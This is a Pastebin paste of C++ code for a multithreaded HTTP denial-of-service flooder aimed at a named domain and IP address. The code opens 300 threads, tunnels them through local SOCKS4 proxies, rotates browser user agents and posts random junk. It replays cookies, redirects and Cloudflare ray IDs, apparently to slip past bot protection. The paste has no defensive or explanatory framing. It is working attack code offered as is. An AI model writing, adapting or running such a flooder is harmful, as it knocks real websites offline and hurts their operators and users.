Advertisement
Guest User

Untitled

a guest
Nov 10th, 2016
234
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 4.39 KB | None | 0 0
  1. #include <iostream>
  2. #include <cstring>
  3. #include <ctime>
  4. #include <sys/socket.h>
  5. #include <arpa/inet.h>
  6. #include <pthread.h>
  7. #include <unistd.h>
  8.  
  9. using namespace std;
  10.  
  11. typedef struct socks4 {
  12.     unsigned char version;
  13.     unsigned char cmd;
  14.     unsigned short port;
  15.     unsigned int ip;
  16.     unsigned char id;
  17. } socks4;
  18.  
  19. struct arguments {
  20.     int id;
  21. };
  22.  
  23. int connection(const char* ip,int port) {
  24.     int sock=socket(PF_INET,SOCK_STREAM,0);
  25.     struct sockaddr_in addr;
  26.     addr.sin_family=AF_INET;
  27.     addr.sin_port=htons(port);
  28.     addr.sin_addr.s_addr=inet_addr(ip);
  29.     if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==-1) return -1;
  30.     return sock;
  31. }
  32.  
  33. char payloads[300][500];
  34.  
  35. void* dos(void* arg) {
  36.     struct arguments* a=(struct arguments*)arg;
  37.     int id=a->id;
  38.     char cookie[300];
  39.     char uagent[6][150]={"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14","Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0","Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3","Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)","Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7"};
  40.     char ref[50];
  41.     char ray[70];
  42.     char path[30];
  43.     sprintf(path,"%s","/");
  44.     char ua[150];
  45.     srand(time(NULL));
  46.     sprintf(ua,"%s",uagent[id%5]);
  47.     char buff[1500];
  48.     char method[5];
  49.     char headers[55];
  50.     char data[500];
  51.     while(1) {
  52.         int sock=connection("127.0.0.1",7052+id%40);
  53.         struct timeval tv;
  54.         tv.tv_sec=5;
  55.         setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,(struct timeval*)&tv,sizeof(tv));
  56.         bzero(&buff,sizeof(buff));
  57.         socks4* socks4hdr=(socks4*)buff;
  58.         socks4hdr->version=4;
  59.         socks4hdr->cmd=1;
  60.         socks4hdr->port=htons(80);
  61.         socks4hdr->ip=inet_addr("104.24.99.125");
  62.         socks4hdr->id=0;
  63.         send(sock,buff,9,0);
  64.         bzero(&buff,sizeof(buff));
  65.         recv(sock,buff,sizeof(buff),0);
  66.         if(buff[1]=='\x5a') {
  67.             bzero(&buff,sizeof(buff));
  68.             if((rand()%10)%2==0) {
  69.                 sprintf(method,"%s","GET");
  70.                 bzero(&headers,sizeof(headers));
  71.                 bzero(&data,sizeof(data));
  72.             } else {
  73.                 sprintf(method,"%s","POST");
  74.                 snprintf(data,sizeof(data),"%s",payloads[rand()%300]);
  75.                 snprintf(headers,sizeof(headers),"Content-Type: text/plain\r\nContent-Length: %d\r\n",strlen(data));
  76.             }
  77.             sprintf(buff,"%s %s HTTP/1.1\r\nHost: vd.ag\r\n%s%s%s%sAccept: */*\r\nUser-Agent: %s\r\nConnection: Keep-Alive\r\n\r\n%s",method,path,headers,cookie,ref,ray,ua,data);
  78.             printf("Posting %d\n",id);
  79.             send(sock,buff,sizeof(buff),0);
  80.             bzero(&ref,sizeof(ref));
  81.             sprintf(path,"%s","/");
  82.             bzero(&buff,sizeof(buff));
  83.             recv(sock,buff,sizeof(buff),0);
  84.             printf("%s\n",buff);
  85.             char* found=strstr(buff,"Set-Cookie: ");
  86.             if(found!=NULL) {
  87.                 snprintf(cookie,sizeof(cookie),"%s",buff+4+(int)(found-buff));
  88.                 found=strstr(cookie,"\r\n");
  89.                 if(found!=NULL) cookie[2+(int)(found-cookie)]='\x0';
  90.                 else { bzero(&cookie,sizeof(cookie)); printf("error(cookie)\n"); }
  91.             }
  92.             found=strstr(buff,"Location: ");
  93.             if(found!=NULL) {
  94.                 snprintf(ref,sizeof(ref),"Referer: http://vd.ag%s\r\n",path);
  95.                 snprintf(path,sizeof(path),"%s",buff+10+(int)(found-buff));
  96.                 found=strstr(path,"\r\n");
  97.                 if(found!=NULL) {
  98.                     path[(int)(found-path)]='\x0';
  99.                     found=strstr(path,"vd.ag");
  100.                     if(found!=NULL) { snprintf(path,sizeof(path),"%s",path+5+(int)(found-path)); }
  101.                 } else printf("error(location)\n");
  102.             }
  103.             found=strstr(buff,"CF-RAY: ");
  104.             if(found!=NULL) {
  105.                 char ray_val[60];
  106.                 snprintf(ray_val,sizeof(ray_val),"%s",buff+8+(int)(found-buff));
  107.                 found=strstr(ray_val,"\r\n");
  108.                 if(found!=NULL) { ray_val[2+(int)(found-ray_val)]='\x0'; snprintf(ray,sizeof(ray),"RAY-ID: %s",ray_val); } else printf("error(cf-ray)\n");
  109.             }
  110.             found=strstr(buff,"HTTP/1.1 403");
  111.             if(found!=NULL) {
  112.                 sprintf(path,"%s","/");
  113.                 bzero(&cookie,sizeof(cookie));
  114.                 bzero(&ref,sizeof(ref));
  115.                 bzero(&ray,sizeof(ray));
  116.             }
  117.         }
  118.         close(sock);
  119.     }
  120. }
  121.  
  122. int main(int argc,char* argv[]) {
  123.     for(int i=0;i<300;i++) {
  124.         char buff[500];
  125.         for(int j=0;j<500;j++) {
  126.             buff[j]=rand()%256;
  127.         }
  128.         snprintf(payloads[i],sizeof(payloads[i]),"%s",buff);
  129.     }
  130.     int num=300;
  131.     pthread_t threads[num];
  132.     for(int i=0;i<num;i++) {
  133.         struct arguments a;
  134.         a.id=i;
  135.         pthread_create(&threads[i],NULL,dos,(void*)&a);
  136.     }
  137.     for(int i=0;i<num;i++) pthread_join(threads[i],NULL);
  138.     return 0;
  139. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement